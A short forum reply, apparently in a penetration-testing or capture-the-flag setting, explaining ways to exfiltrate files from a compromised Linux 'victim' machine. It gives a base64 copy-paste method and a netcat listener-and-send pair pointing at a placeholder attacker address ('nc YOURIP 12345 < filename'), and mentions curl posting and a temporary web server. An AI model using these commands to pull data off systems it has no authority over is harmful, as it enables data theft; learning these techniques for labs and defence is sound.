Taz - Thank you so damn much.
Always glad to help.
Is there a more proper / accurate way to copy and paste files instead of using ’ cat filename ’ and just highlighting and copy and pasting from terminal?
The short answer is “it depends.”
You can exfiltrate files from Linux systems in a range of ways.
For example :
cat filename | base64 copy the output and on your own machine
cat (paste) | base64 -d > filename and you get a good recreation of the file.
You can also use netcat to sling the file:
- first check the file
- listener on your machine
nc -nklvp 12345 > filename
- send the data on the remote machine
nc YOURIP 12345 < filename
- wait a while, kill the listener (not the remote one as that can kill your shell)
- check the file on your machine
md5sum filename - see if it matches, if it does, win.
If you have SSH access - scp works. You can get more esoteric with curl posting the data or spinning up a temporary webserver on the victim and grabbing it that way.
Linux gives you a range of options - it often depends on what will work at the time.